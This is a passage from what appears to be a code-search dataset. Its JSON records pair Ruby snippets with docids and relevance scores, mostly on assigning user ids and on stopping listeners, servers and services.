"text": "def check_and_assign_shared_ids_to_shared_folders\n shared_folders_with_same_email = SharedFolder.find_by(shared_email: self.email)\n # First checking if the new user's email exists in any of ShareFolder records\n if shared_folders_with_same_email\n # loop and update the shared user id with this new user id\n shared_folders_with_same_email.each do |shared_folder|\n shared_folder.shared_user_id = self.id\n shared_folder.save\n end\n end\n end",
"title": ""
},
{
"docid": "8a2408ede4ec1f39a079ecfc82fa93b9",
"score": "0.50122523",
"text": "def members=(value)\n self.users = value\n end",
"title": ""
},
{
"docid": "631f900bc81f37a8a2c757de6eceb4cb",
"score": "0.49958745",
"text": "def assign(new_inputs)\n new_inputs.each { |input| get(input.key).user = input.user }\n self\n end",
"title": ""
},
{
"docid": "6f01d30219a37298d1f1587380d3e111",
"score": "0.4993587",
"text": "def set_members\n members_ids = params[:contest][:members].reject(&:empty?)\n @contest.members.destroy_all if params[:action] == \"update\"\n members_ids.each do |members_id|\n member = Member.create(:user_id => members_id.to_i, :invitable => @contest)\n #send notification\n reciver = User.find(members_id)\n notifications = reciver.notifications.unread \n if reciver.notification_setting.try(:new_update)\n Notification.create(recepient_id: members_id, user: current_user, body: \"#{current_user.screen_name } has invited you to join a contest #{@contest.topic} \", notificable: @contest, :accept => false, :is_acceptable=>true)\n PrivatePub.publish_to \"/profiles/new_#{members_id}\", \"jQuery('#all-notifications').html('#{notifications.count}'); jQuery('#all-notifications').addClass('push-notification');\"\n\n end\n end\n end",
"title": ""
},
{
"docid": "3f9cdd87d378d42765b355dfa760dd69",
"score": "0.49931103",
"text": "def reset_users\n @semaphore.synchronize do\n @users = []\n publish_json\n end\n end",
"title": ""
},
{
"docid": "3ac0bfaec9a49baaf1ecbfff61cdae3f",
"score": "0.4990065",
"text": "def test_add_multiple_users\n quietly do\n assert_cmd_posts(\"add to #{id} #{users[0]} #{users[1]}\",\n \"/api/v2/usergroup/#{id}/addUsers\",\n users.to_json)\n end\n end",
"title": ""
},
{
"docid": "4b44cf571ef8e24753a8e2bb744f3d9e",
"score": "0.49880773",
"text": "def assign_curators\n errors.add(:user_ids, '- you must assign at least one curator') if user_ids.empty?\n end",
"title": ""
},
{
"docid": "baf005624cd81422c4dd446a34bec721",
"score": "0.49838328",
"text": "def add_seen_for(user_id, *subject_ids)\n [subject_ids].flatten.compact.each do |subject_id|\n user(user_id).seen.add subject_id\n end\n end",
"title": ""
},
{
"docid": "9eb356f2d54d214810ca140a70463a00",
"score": "0.4983774",
"text": "def assignees(options={})\n @assignees\n end",
"title": ""
},
{
"docid": "9eb356f2d54d214810ca140a70463a00",
"score": "0.4983774",
"text": "def assignees(options={})\n @assignees\n end",
"title": ""
},
{
"docid": "4f6e72e2f1b7b18eca2c4a54f5273df9",
"score": "0.49654496",
"text": "def update_user_data!(owner_user_ids)\n owner_user_ids.each do|user_id|\n ::User.recalculate_item_count_of!(user_id)\n end\n end",
"title": ""
},
{
"docid": "1e7d432d83fec4e9066a958cc2e1230c",
"score": "0.49612594",
"text": "def add_clamps_group_users(classifier, pe_infra)\n clamps_users_group = {\n \"name\" => \"Clamps - Agent Users (non root)\",\n \"rule\" => [\"and\", [\"not\", [\"=\", %w[fact id], \"root\"]]],\n \"parent\" => pe_infra[\"id\"],\n \"classes\" => {\n \"clamps\" => {\n \"num_static_files\" => options[:scale][:static_files] || 20,\n \"num_dynamic_files\" => options[:scale][:dynamic_files] || 5\n }\n }\n }\n classifier.find_or_create_node_group_model(clamps_users_group)\nend",
"title": ""
},
{
"docid": "232c86ae5ceb1993c6dedfbe096caa71",
"score": "0.4960311",
"text": "def initialize(user_ids)\n @user_ids = user_ids\n end",
"title": ""
},
{
"docid": "9a07d4402568be7274d438e3e1581535",
"score": "0.49600396",
"text": "def user_assignments\n @user_assignments ||= Harvest::API::UserAssignments.new(credentials)\n end",
"title": ""
},
{
"docid": "eacd8d88a88a644ee7a9e055419f62e1",
"score": "0.49558806",
"text": "def invite_new_users(users)\n user_email_map = user_email_map(users.map { |user| user[:email] })\n\n users.map do |user|\n course_user = @current_course.course_users.build(name: user[:name], workflow_state: :invited,\n creator: @current_user,\n updater: @current_user)\n user_email = user_email_map[user[:email]] || User::Email.new(email: user[:email])\n user_email.skip_confirmation!\n course_user.build_invitation(user_email: user_email, creator: @current_user,\n updater: @current_user)\n end\n end",
"title": ""
},
{
"docid": "134393ab7c12aa144e8cfd04fe220a3d",
"score": "0.49510777",
"text": "def grade_users(arr_of_discussing_user_ids)\n list_assignments = HTTParty.get(\n \"#{$canvas_url}/api/v1/courses/#{$canvas_course_id}/assignments\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" }\n )\n\n assignments_data = list_assignments.parsed_response\n assignment_AL1_id = nil\n assignment_AL2_id = nil\n\n assignments_data.each do |assignments_info|\n if assignments_info[\"name\"] == \"AL1\"\n assignment_AL1_id = assignments_info[\"id\"]\n elsif assignments_info[\"name\"] == \"AL2\"\n assignment_AL2_id = assignments_info[\"id\"]\n end\n end\n\n arr_of_discussing_user_ids.each { |id|\n if $arr_of_user_ids_AL1.include?(id)\n grade_student = HTTParty.put(\n \"#{$canvas_url}/api/v1/courses/#{$canvas_course_id}/assignments/#{assignment_AL1_id}/submissions/#{id}\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" },\n body: {\n \"submission[posted_grade]\" => \"pass\"\n }\n )\n puts grade_student.parsed_response\n elsif $arr_of_user_ids_AL2.include?(id)\n grade_student = HTTParty.put(\n \"#{$canvas_url}/api/v1/courses/#{$canvas_course_id}/assignments/#{assignment_AL2_id}/submissions/#{id}\",\n headers: { \"authorization\" => \"Bearer #{$canvas_token}\" },\n body: {\n \"submission[posted_grade]\" => \"pass\"\n }\n )\n puts grade_student.parsed_response\n else\n puts \"Something went wrong\"\n end\n }\nend",
"title": ""
},
{
"docid": "d09103f664de7832288a7264cd5f102f",
"score": "0.4950717",
"text": "def add_owner_ids(ids)\r\n return if ids.nil?\r\n \r\n ids = [ids] unless ids.respond_to?(:each)\r\n ids.each do | id |\r\n @request.OwnerIDList.Add(id)\r\n end\r\n end",
"title": ""
},
{
"docid": "0e0fd917480f5106a4a218581c340122",
"score": "0.49505988",
"text": "def add_ingredientusers(ingredients)\n ingredients.each {|ingredient| IngredientUser.create(user_id: self.id, ingredient_id: ingredient.id)}\n end",
"title": ""
},
{
"docid": "9995dc5e596947df6f11156a5af31339",
"score": "0.4942697",
"text": "def user_role_assignments(id:, **args)\n params = parameters(args) do\n optional_params :start, :limit\n end\n request(:get, \"users/#{id}/roleAssignments\", params)\n end",
"title": ""
},
{
"docid": "69944a384f7270fd76ed8b75df7f4e78",
"score": "0.49390972",
"text": "def user_permission_set_assignments(id:, **args)\n params = parameters(args) do\n optional_params :start, :limit\n end\n request(:get, \"users/#{id}/permissionSetAssignments\", params)\n end",
"title": ""
},
{
"docid": "7620672a36727012402ec0a6074a697a",
"score": "0.49342927",
"text": "def user_ids=(e) #setter\n write_attribute :user_ids, (e.collect {|f| f.to_i}).to_json\n end",
"title": ""
},
{
"docid": "dddcbfc8394bb7dee4d45a68245c5c91",
"score": "0.4927224",
"text": "def check_and_assign_shared_ids_to_shared_folders \n #First checking if the new user's email exists in any of ShareFolder records \n shared_folders_with_same_email = SharedFolder.find_all_by_shared_email(self.email) \n \n if shared_folders_with_same_email \n #loop and update the shared user id with this new user id \n shared_folders_with_same_email.each do |shared_folder| \n shared_folder.shared_user_id = self.id \n shared_folder.save \n end \n end \n end",
"title": ""
},
{
"docid": "ea633e22797a1bf37efc4ab11e8c1b28",
"score": "0.49271387",
"text": "def assign_arrays_to_profile(args = {}) \n body_put(\"/profiles.json/#{args[:profileId]}/arrays\", args[:array_of_ids])\nend",
"title": ""
},
{
"docid": "774825ca8992e0fb4ae004e1f5524a54",
"score": "0.49219537",
"text": "def assign_tenant_circles_to_an_aos_version_box(args = {}) \n body_put(\"/aosversions.json/aosversionbox/circles/#{args[:aosVersionBoxId]}\", args[:array_of_ids])\nend",
"title": ""
},
{
"docid": "3dff751130ba36e7c62f5bdfd9c56aba",
"score": "0.49203175",
"text": "def assign_arrays_to_tenant(args = {}) \n body_put(\"/tenants.json/#{args[:tenantId]}/arrays\", args[:array_of_ids])\nend",
"title": ""
},
{
"docid": "c988f8de600320c28313cab5c28ac901",
"score": "0.49192792",
"text": "def auto_assign_users(team_size)\n all_registrations = course.registrations.where(for_credit: true).\n includes(:user).all\n\n team_sets = []\n overflow = []\n all_registrations.group_by(&:for_credit?).each do |credit, registrations|\n students = registrations.map(&:user).shuffle!\n (0...students.length).step(team_size) do |i|\n team_set = students[i, team_size]\n if team_set.length == team_size\n team_sets << team_set\n else\n overflow += team_set\n if overflow.length >= team_size\n team_sets << overflow.shift(team_size)\n end\n end\n end\n end\n team_sets << overflow\n\n teams = team_sets.map.with_index do |members, i|\n team = Team.create! partition: self, name: \"Team #{i + 1}\"\n members.each do |member|\n TeamMembership.create! user: member, team: team, course: course\n end\n team\n end\n\n teams\n end",
"title": ""
},
{
"docid": "6fd50286193975ea1e5bb40aa92020e7",
"score": "0.4918695",
"text": "def set_user_id\n User.stats.limit(2).each do |user|\n self.user_id = user['id']\n\n # prevents us from setting back to the same user\n if self.changes['user_id'][0] != self.changes['user_id'][0]\n break\n end\n end\n end",
"title": ""
},
{
"docid": "cb638e73006d5a9a1568318e97470cf6",
"score": "0.4917972",
"text": "def cluster_assign_roles(environment, type, entry=nil)\n types = %w[basic hadoop kafka]\n unless types.include?(type.to_s.downcase)\n raise \"#{type} is not one of #{types.join(',')} !\"\n end\n\n #\n # We use system() instead of Mixlib::ShellOut specifically so that the\n # child process re-uses our STDOUT/STDERR.\n #\n # TODO: replace with IO::popen3\n #\n if entry.nil?\n system('sudo', './cluster-assign-roles.sh',\n environment, type.to_s.downcase.capitalize)\n else\n system('sudo', './cluster-assign-roles.sh',\n environment, type.to_s.downcase.capitalize, entry[:hostname])\n end\n\n # Why doesn't this raise an error?\n puts 'cluster-assign-roles.sh failed!' unless $CHILD_STATUS.success?\nend",
"title": ""
},
{
"docid": "09d6a5708e4ff08276ef00858f99b31f",
"score": "0.4916681",
"text": "def assign_clusters\n reset_cluster_data_points\n @data_points.each do |data_point|\n closest_cluster = nil\n minimum_distance = nil\n @clusters.each do |cluster|\n distance_to_current_cluster = data_point.distance2_to(cluster.centroid)\n if minimum_distance.nil? || distance_to_current_cluster < minimum_distance\n minimum_distance = distance_to_current_cluster\n closest_cluster = cluster\n end\n end\n closest_cluster.add(data_point)\n end\n end",
"title": ""
},
{
"docid": "5d8d3eb373e5df5de36d32b4db2572ed",
"score": "0.4915101",
"text": "def set_user\n @users = User.find(params[:id])\n end",
"title": ""
}
] |
97f61e487907dd213022e1eadf1eff64
|
Stops a running hub listener, which may have been started in another ruby instance.
|
[
{
"docid": "fe7cb8bff7425f70f0fb6462b1ecfeb3",
"score": "0.84373116",
"text": "def stop\n raise \"no hub listener process is running\" unless @pid\n Process.kill(\"INT\",@pid)\n puts \"stopped hub listener PID #{@pid}\"\n self.cleanup\n end",
"title": ""
}
] |
[
{
"docid": "30d57ebba2c456174f3ce6b817685dee",
"score": "0.7518693",
"text": "def shutdown\n @listener.kill\n end",
"title": ""
},
{
"docid": "20aad2849a456febdec05be41a5464e5",
"score": "0.73086065",
"text": "def stop\n @listener&.stop\n @listener = nil\n end",
"title": ""
},
{
"docid": "c8603766af3c50a2f3a5a9c5211ad518",
"score": "0.7278672",
"text": "def stop()\n if(@thread.nil?)\n @logger.error(\"Tried to stop a listener that wasn't listening!\")\n return\n end\n\n @thread.kill()\n @thread = nil\n end",
"title": ""
},
{
"docid": "f159100a98bd2e3f3954243971bb0826",
"score": "0.72727203",
"text": "def stop\n @listener.stop\n end",
"title": ""
},
{
"docid": "d38613181453f181ecb72ed2fdc1904f",
"score": "0.7040827",
"text": "def _stop\n _listen_module.stop\n end",
"title": ""
},
{
"docid": "1c368b358f1378209832f1ba18da1d4a",
"score": "0.6981085",
"text": "def stop\n\t\t\[email protected] if @listener\n\t\tend",
"title": ""
},
{
"docid": "50b686a7440df5bd12bbabc93babdd53",
"score": "0.692074",
"text": "def stop\n @last_args = nil\n @obj.remove_listener(self)\n self\n end",
"title": ""
},
{
"docid": "bde4fab8bd71791ffff238c81eec5cf3",
"score": "0.69086057",
"text": "def stop\n @thread.wakeup rescue ThreadError\n begin\n @listener.stop\n rescue Exception => e\n puts \"#{e.class}: #{e.message} stopping listener\"\n end\n @thread.kill rescue ThreadError\n end",
"title": ""
},
{
"docid": "5e75de6edd99ae0a4c0785664336043d",
"score": "0.6873321",
"text": "def stop\n self.listener.stop\n self.listener.close\n self.clients = []\n end",
"title": ""
},
{
"docid": "c5cc3f7aacea1483f18ba905213743f5",
"score": "0.6868649",
"text": "def stop\n @listen_thread.kill if listening?\n end",
"title": ""
},
{
"docid": "c09611ea93163c07543296444b53e798",
"score": "0.68172747",
"text": "def stop_connect_listener\n end",
"title": ""
},
{
"docid": "04c3187591c9cebca7865d990247b532",
"score": "0.6814275",
"text": "def cmd_shellegram_stop\r\n\t\t\t\tprint_status(\"Stopping the monitoring of sessions to Telegram\")\r\n\t\t\t\tself.framework.events.remove_session_subscriber(self)\r\n\t\t\tend",
"title": ""
},
{
"docid": "c24803726dbef462af3bc736f61f1ecf",
"score": "0.66437346",
"text": "def stop\n UI.info 'Bye bye...', :reset => true\n\n run_on_guards do |guard|\n run_supervised_task(guard, :stop)\n end\n\n listener.stop\n abort\n end",
"title": ""
},
{
"docid": "de68c67cec03891c22c5f0ab13c0a811",
"score": "0.6610351",
"text": "def stop\n @listeners.stop\n end",
"title": ""
},
{
"docid": "2085d0ddd59cee871ed6ccc23c199d83",
"score": "0.6606762",
"text": "def stop_daemon\n if self.running?\n lc = RMB::ListenerClient.new(daemon_properties)\n lc.stop\n delete_old_user\n end\n end",
"title": ""
},
{
"docid": "c214df0098422387926427b80429fd57",
"score": "0.65530145",
"text": "def stop_listening\n @listener.kill if @listener\n @queue = Queue.new\n @listener = nil\n end",
"title": ""
},
{
"docid": "585acba7c2c72417aa0f46393f33c5ee",
"score": "0.6371108",
"text": "def stop_listening_to(io)\n listeners.delete(io)\n end",
"title": ""
},
{
"docid": "13b4cea731ca875307d160f1e9dfc370",
"score": "0.63701826",
"text": "def stop\n fail \"Not currently listening\" unless @thread\n @stop = true\n end",
"title": ""
},
{
"docid": "04e9d6fba6cf23b5612a9054b77b56e7",
"score": "0.636866",
"text": "def stop_listen_udp\n Thread.kill(@running_udp)\n @running_udp = nil\n @udp_server.close\n end",
"title": ""
},
{
"docid": "93d483c892b242974badb5284c083824",
"score": "0.63664013",
"text": "def stop\n listener_thread.kill\n clients_thread.kill\n\n clients.each do |cli|\n close_client(cli)\n end\n end",
"title": ""
},
{
"docid": "d0dcd8e0c4c71a215f186882669fe735",
"score": "0.6359824",
"text": "def close\n @listener.kill unless @listener.nil?\n self\n end",
"title": ""
},
{
"docid": "eb27c95bdd38f9b49c56526a9052ed2a",
"score": "0.6357684",
"text": "def stop_listener_thread\n return unless @sync_thread\n\n if @should_listen.is_a? Hash\n @should_listen[:run] = false\n else\n @should_listen = false\n end\n\n if @sync_thread.alive?\n ret = @sync_thread.join(0.1)\n @sync_thread.kill unless ret\n end\n @sync_thread = nil\n end",
"title": ""
},
{
"docid": "8e8cb4002617dc79ec62df6750f490a9",
"score": "0.6347169",
"text": "def stop\n\t\traise \"NotRunning\" if !running?\n\t\tself.messaging_client.disconnect\n\t\tself.messaging_client_thread.kill\n\tend",
"title": ""
},
{
"docid": "9a9c467327ec94170d87a46fd606a91a",
"score": "0.6330592",
"text": "def unsubscribe(listener)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "6bc64cdd5a622a1535ef57a035f06490",
"score": "0.6323459",
"text": "def stop\n RTP.log \"Stopping #{self.class} on port #{@rtp_port}...\"\n stop_listener\n RTP.log \"listening? #{listening?}\"\n write_buffer_to_file\n RTP.log \"running? #{running?}\"\n end",
"title": ""
},
{
"docid": "4eb341708545ad59ec1b0237482c1ab2",
"score": "0.63159007",
"text": "def stop\n puts \"== The Middleman is shutting down\"\n if @listener\n @listener.stop\n @listener = nil\n end\n unmount_instance\n end",
"title": ""
},
{
"docid": "3e0ceca974b98885257dd5c6601def33",
"score": "0.6313381",
"text": "def stop_handler\n # Terminate the listener thread\n if (self.listener_thread and self.listener_thread.alive? == true)\n self.listener_thread.kill\n self.listener_thread = nil\n end\n\n if (self.listener_sock)\n self.listener_sock.close\n self.listener_sock = nil\n end\n end",
"title": ""
},
{
"docid": "65c51d6c5a620c58b65c2203a0cb1bd6",
"score": "0.62350285",
"text": "def stop\n Tello::Client.return send('stop')\n end",
"title": ""
},
{
"docid": "22808fa51b35ac3d3afed0c00ed33501",
"score": "0.6222714",
"text": "def stop\n @on.fire(:stop, self)\n end",
"title": ""
},
{
"docid": "4c5d3872682cc4032c0649f546c3d16b",
"score": "0.6219558",
"text": "def stop\n check_for_error(Cproton.pn_messenger_stop(@impl))\n end",
"title": ""
},
{
"docid": "d9c7d97b9c5f471b922bdd8621612417",
"score": "0.6190855",
"text": "def stop\n return unless running?\n\n # If stopping the server takes too much time, just kill\n # the thread directly.\n begin\n Timeout.timeout(5) do\n Application.quit!(@thread[:server], @thread[:handler_name])\n end\n rescue; end\n\n @thread.kill\n @notifier.terminate\n Application.clear_connections\n Celluloid::Logger.info('Celluloid::Dashboard server stopped.')\n end",
"title": ""
},
{
"docid": "82e52f2690bb3f60692f7dd562fff317",
"score": "0.6190592",
"text": "def stop \r\n DRb.stop_service\r\n @log.info(\"DRb server stopped on : #{@drb_server_uri}\") \r\n end",
"title": ""
},
{
"docid": "5b18e48f9b10b9d4a0bf9bc02717ee4b",
"score": "0.6190159",
"text": "def stop_listen_tcp\n Thread.kill(@running_tcp)\n @running_tcp = nil\n @tcp_server.close\n end",
"title": ""
},
{
"docid": "7538da0cc62cdb669ea1bc7a2cf6c643",
"score": "0.6189013",
"text": "def stop!\n websocket_thread.kill\n websocket.stop!\n end",
"title": ""
},
{
"docid": "5797787c8478033359dab9d234b3ff11",
"score": "0.6175515",
"text": "def stop\n run_cmd(\"stop\")\n end",
"title": ""
},
{
"docid": "4d2e527689c6a0e5121525fa3afb4942",
"score": "0.61668855",
"text": "def stop_listening\n if @file_listener\n Process.kill(\"HUP\", @file_listener)\n end\n end",
"title": ""
},
{
"docid": "84ef8d5f3bb5744dbeb0e91c6fbd78ab",
"score": "0.61563665",
"text": "def stop(&callback)\n if @agent_connection\n # allow any pending audits to be sent prior to stopping agent connection\n # by placing stop on the end of the next_tick queue.\n EM.next_tick { @agent_connection.stop(&callback) }\n else\n callback.call\n end\n end",
"title": ""
},
{
"docid": "3b9b601c6abcd45e717c1d3d29a6e43b",
"score": "0.6154581",
"text": "def stop\n @server.stop if @server.running?\n end",
"title": ""
},
{
"docid": "1f3fe8c8cc3e641be91b4235df868633",
"score": "0.6143222",
"text": "def stop\n Rails.logger.info \"STOPPING WORKER #{@id}!\"\n log \"STOPPING WORKER #{@id}!\"\n @running = false\n end",
"title": ""
},
{
"docid": "63e6c2ed459fb7c5dafb4b279c71237c",
"score": "0.6140034",
"text": "def stop\n if managed? && started?\n exec('stop', p: port)\n wait\n end\n end",
"title": ""
},
{
"docid": "2ff44429144a769d033aa498c254b0af",
"score": "0.6134559",
"text": "def disconnect_message_listener(params)\n @message_bus.remove_listener(params[:listener])\n end",
"title": ""
},
{
"docid": "24278e04a9de27ded2f6c8e080520ec1",
"score": "0.61275697",
"text": "def stop\n @server.stop if @server\n end",
"title": ""
},
{
"docid": "b2a1e8c628c5a422a0c09f92e871ac7c",
"score": "0.6127376",
"text": "def stop!\n logger.info \"Shutting down #{name} ...\"\n @shutdown = true\n @rt_client.stop!\n end",
"title": ""
},
{
"docid": "0cfc209d6ec204bc62529922cf08c607",
"score": "0.61220455",
"text": "def stop\n Cproton.pn_messenger_stop(@impl)\n end",
"title": ""
},
{
"docid": "1d6d726f5285e11c7faf4cb4fafe1e5f",
"score": "0.61140984",
"text": "def stop!\n @processing_thread.kill\n @em_thread.kill\n @websocket.stop!\n end",
"title": ""
},
{
"docid": "fdb35e411a613a7a309d2f169d68f370",
"score": "0.61104417",
"text": "def stop\n Rails.logger.info \"STOPPING WORKER #{@id}!\"\n logger.info \"STOPPING WORKER #{@id}!\"\n @running = false\n end",
"title": ""
},
{
"docid": "02f9edc1a6af3201b9954723591d827c",
"score": "0.609194",
"text": "def stop\n server.kill\n end",
"title": ""
},
{
"docid": "bec483e843a4b11424075344a8f93cd9",
"score": "0.60907894",
"text": "def unsubscribe\n @stopped = true\n end",
"title": ""
},
{
"docid": "6cf6ed6b1a5394f274914e4d32d0f338",
"score": "0.60903233",
"text": "def stop_workers\n `ruby #{WORKER_RUNNER} stop`\n end",
"title": ""
},
{
"docid": "e2107c62baf325a53f47840ebbb17c3a",
"score": "0.6081006",
"text": "def shutdown\n @listeners.clear\n end",
"title": ""
},
{
"docid": "658eb68c00f1a590e59014ca6a5ed4f3",
"score": "0.60792935",
"text": "def stop_listening\n @listening = false\n end",
"title": ""
},
{
"docid": "da3a4f5855c4ac6499b13342027764df",
"score": "0.60748214",
"text": "def stop\n @server.stop\n end",
"title": ""
},
{
"docid": "99ba770c0ac8b1883ff5327027f14b5a",
"score": "0.6067074",
"text": "def stop\n Log.info LOG_COMP, 'Stop watch dog'\n\n # unsubscribe from all nodes\n subscriber = gen_subscriber\n\n unsubscribe(subscriber)\n end",
"title": ""
},
{
"docid": "7258ee65deb0d4a2c1c5ff14c7548005",
"score": "0.60645705",
"text": "def unbind\n puts \"#{self} client a connection has terminated\"\n EventMachine::stop_event_loop()\n end",
"title": ""
},
{
"docid": "e91963714e4459badff0dd84dd58b3b8",
"score": "0.6061838",
"text": "def stop!\n if @backend.started_reactor?\n log_info \"Stopping ...\"\n else\n log_info \"Stopping Thin ...\"\n log_info \"Thin was started inside an existing EventMachine.run block.\"\n log_info \"Call `EventMachine.stop` to stop the reactor and quit the process.\"\n end\n\n @backend.stop!\n end",
"title": ""
},
{
"docid": "fe67ac446671345d69067b636f1978fc",
"score": "0.60478795",
"text": "def stop\n if self.pid\n Servant.kill(self.pid)\n stopped\n end\n end",
"title": ""
},
{
"docid": "b1aa698ea04bfb5750c820421d5ce4e5",
"score": "0.60456806",
"text": "def stop()\n slave.stop();\n\n freeResources();\n end",
"title": ""
},
{
"docid": "32086f5e5dcf0d995eceac6b6a70cb78",
"score": "0.60414314",
"text": "def stop!(signature)\n # UDP is stateless. Silence is golden.\n # Still, remove ourself from the list of connections so the server can safely stop.\n signature.server.unbind(signature)\n end",
"title": ""
},
{
"docid": "2d9d1abfa3e06fe0cb9510ac511f7e0a",
"score": "0.60413873",
"text": "def stop!\n stop_push_monitor!\n\n # Forward super's return value\n super.tap do\n # Important: disconnect should happen after the background thread\n # terminates.\n connection&.disconnect!\n end\n end",
"title": ""
},
{
"docid": "7a23c1995a751a4e491ff19296cb523a",
"score": "0.6038562",
"text": "def stop!(signature)\n EM.stop_server(signature)\n end",
"title": ""
},
{
"docid": "5bf3d8d4838c6887da523d736337b850",
"score": "0.60344213",
"text": "def stop!\n @server.stop if @server # NOTE: WEBrick-specific\n end",
"title": ""
},
{
"docid": "c7b3b650c3162283f1d2d75c7af59cf8",
"score": "0.60331297",
"text": "def stop\n broker.stop\n end",
"title": ""
},
{
"docid": "f3edec53e90fbc259c782e149da2ad79",
"score": "0.6031882",
"text": "def stop\n Server.stop\n end",
"title": ""
},
{
"docid": "b220ec731280adbd468de05a0cf9b986",
"score": "0.6027796",
"text": "def stop\n server.stop\n end",
"title": ""
},
{
"docid": "a9c784b10b3350e3b7f1e859f65d41d5",
"score": "0.601969",
"text": "def stop\n socket_puts(\"stop\")\n status['state']\n end",
"title": ""
},
{
"docid": "192dacc878f281516502a7a18a050ef0",
"score": "0.60178417",
"text": "def stop!\n @running = false\n @stopping = false\n \n EventMachine.stop if @started_reactor && EventMachine.reactor_running?\n @connections.each_value { |connection| connection.close_connection }\n close\n end",
"title": ""
},
{
"docid": "d974df37ac63d62af6eacf807b549c34",
"score": "0.60123885",
"text": "def stop\n c = Pro::Client.get rescue nil\n # ignore exceptions (XXX - ideally, stopped an already-stopped session wouldn't throw XMLRPCException)\n c.session_stop(self.local_id) rescue nil\n end",
"title": ""
},
{
"docid": "2e23e6dcff4670d36b584c5f381d9a14",
"score": "0.6012253",
"text": "def hubssolib_afterwards\n begin\n DRb.current_server\n DRb.stop_service()\n rescue DRb::DRbServerNotFound\n # Nothing to do; no service is running.\n end\n end",
"title": ""
},
{
"docid": "7c493d8bc54a9df984cd464b7964d939",
"score": "0.6011756",
"text": "def stop_heartbeat\n\t\t@heartbeat[ :shutdown ] = true\n\t\[email protected] if @heartbeat.alive?\n\tend",
"title": ""
},
{
"docid": "c6f2f7bad920a9fd9aff08610f219fcf",
"score": "0.60048926",
"text": "def stop\n EventMachine.stop_event_loop\n @last_status\n end",
"title": ""
},
{
"docid": "c6f2f7bad920a9fd9aff08610f219fcf",
"score": "0.60048926",
"text": "def stop\n EventMachine.stop_event_loop\n @last_status\n end",
"title": ""
},
{
"docid": "c6f2f7bad920a9fd9aff08610f219fcf",
"score": "0.60048926",
"text": "def stop\n EventMachine.stop_event_loop\n @last_status\n end",
"title": ""
},
{
"docid": "4f247acd28e278c415b4d5b267e63af4",
"score": "0.60041624",
"text": "def stop_server\n fail \"Master#stop_server called in worker process\" if worker_process?\n File.unlink(@socket) if File.exist?(@socket)\n @server.close if @server\n @server = nil\n end",
"title": ""
},
{
"docid": "7967de624297ef4cdef5e16a5fd945d6",
"score": "0.5997643",
"text": "def stop()\n\t\treturn send_command(\"stop\")\n\tend",
"title": ""
},
{
"docid": "7967de624297ef4cdef5e16a5fd945d6",
"score": "0.5997643",
"text": "def stop()\n\t\treturn send_command(\"stop\")\n\tend",
"title": ""
},
{
"docid": "7ebbd03d2ab1ff4e4b80edbd88e29282",
"score": "0.5990397",
"text": "def stop\n\t\t@shutting_down = true\n\t\tself.thread.kill\n\t\tself.sock.close rescue nil\n\tend",
"title": ""
},
{
"docid": "07953c1f1b0b6ca148a342ab8623e214",
"score": "0.5985925",
"text": "def stop\n Celluloid.shutdown\n end",
"title": ""
},
{
"docid": "c97a09b996fce5367e3fb5cdf3318a46",
"score": "0.59798646",
"text": "def stop\n send('stop')\n ack(/^stopped$/)\n end",
"title": ""
},
{
"docid": "c97a09b996fce5367e3fb5cdf3318a46",
"score": "0.59798646",
"text": "def stop\n send('stop')\n ack(/^stopped$/)\n end",
"title": ""
},
{
"docid": "3a67076d77057da81c5dc438716b7bc2",
"score": "0.59726405",
"text": "def stop\n DRb.stop_service\n end",
"title": ""
},
{
"docid": "f8d07dbc21ea069c4978f5ee70ae2eb5",
"score": "0.5954071",
"text": "def close\n @listener.kill if running?\n @event.clear\n @sources.clear\n self\n end",
"title": ""
},
{
"docid": "80685c375c22cdf20ba7b4bd016a8289",
"score": "0.59472847",
"text": "def unlisten(listen_block); end",
"title": ""
},
{
"docid": "74763e2990ab493f41bf3bf0bfe3093d",
"score": "0.5947016",
"text": "def stop\n @sockets.values.each { |socket| socket.close }\n @sockets = {}\n @selector = nil\n @channel.send_message(:stop)\n end",
"title": ""
},
{
"docid": "7cba5021a37b3a59fd3e6d13cdaebe7d",
"score": "0.59405017",
"text": "def stop\n begin\n @logger.info(\"stopping service...\")\n @registration_service.stop\n @language_service.stop\n @logger.info(\"service stopped!\")\n rescue GRPC::BadStatus\n error = $!\n @logger.warn(\"The GRPC call failed with the following error #{error.code} and meessage: #{error.details}\")\n end\n end",
"title": ""
},
{
"docid": "28afb479b103178c48c069bfadfb04e1",
"score": "0.59374595",
"text": "def stop\n @fmod.invoke('Channel_Stop', @handle)\n end",
"title": ""
},
{
"docid": "28afb479b103178c48c069bfadfb04e1",
"score": "0.59374595",
"text": "def stop\n @fmod.invoke('Channel_Stop', @handle)\n end",
"title": ""
},
{
"docid": "81cd7b68b76cc2813d9dec636ec66bfa",
"score": "0.5936787",
"text": "def stop_agent(_load_agent) end",
"title": ""
},
{
"docid": "01b157ce25f07c196e2e8633a9ea6602",
"score": "0.5933361",
"text": "def stop\n Rupl.deregister(self)\n end",
"title": ""
},
{
"docid": "3b947cbd01120b2c7134da58f8e82bd0",
"score": "0.5932248",
"text": "def stop\n @server.shutdown\n end",
"title": ""
},
{
"docid": "7daef61978edf8d8ef08a4c2d02a7424",
"score": "0.59257346",
"text": "def stop\n client { stop }\n self\n end",
"title": ""
},
{
"docid": "420d9a1936fec74bd6ee12c751fdd518",
"score": "0.5920277",
"text": "def stop\n requires :id\n service.power_off_server self.id\n end",
"title": ""
},
{
"docid": "5521e3109a5fecc1a7129f729b2b5090",
"score": "0.5916028",
"text": "def stop\n return unless @running\n \n @watcher.stop\n stop_server\n @running = false\n end",
"title": ""
},
{
"docid": "9db7d533029373483465725b00fd4bb2",
"score": "0.5909084",
"text": "def unsubscribe(listener)\n registry = send(:local_registrations)\n registry.each do |object|\n if object.listener.equal?(listener)\n registry.delete(object)\n end\n end\n end",
"title": ""
},
{
"docid": "222b841dd6605c25e1ec481eec5b70c0",
"score": "0.5906765",
"text": "def stop\n conditionally_run('prlctl', 'stop', uuid)\n end",
"title": ""
},
{
"docid": "c36f75c6adcda6c0a2d561ba3b2b2996",
"score": "0.5903941",
"text": "def stop\n ext_stop\n end",
"title": ""
},
{
"docid": "c36f75c6adcda6c0a2d561ba3b2b2996",
"score": "0.5903941",
"text": "def stop\n ext_stop\n end",
"title": ""
},
{
"docid": "c36f75c6adcda6c0a2d561ba3b2b2996",
"score": "0.5903941",
"text": "def stop\n ext_stop\n end",
"title": ""
},
{
"docid": "c36f75c6adcda6c0a2d561ba3b2b2996",
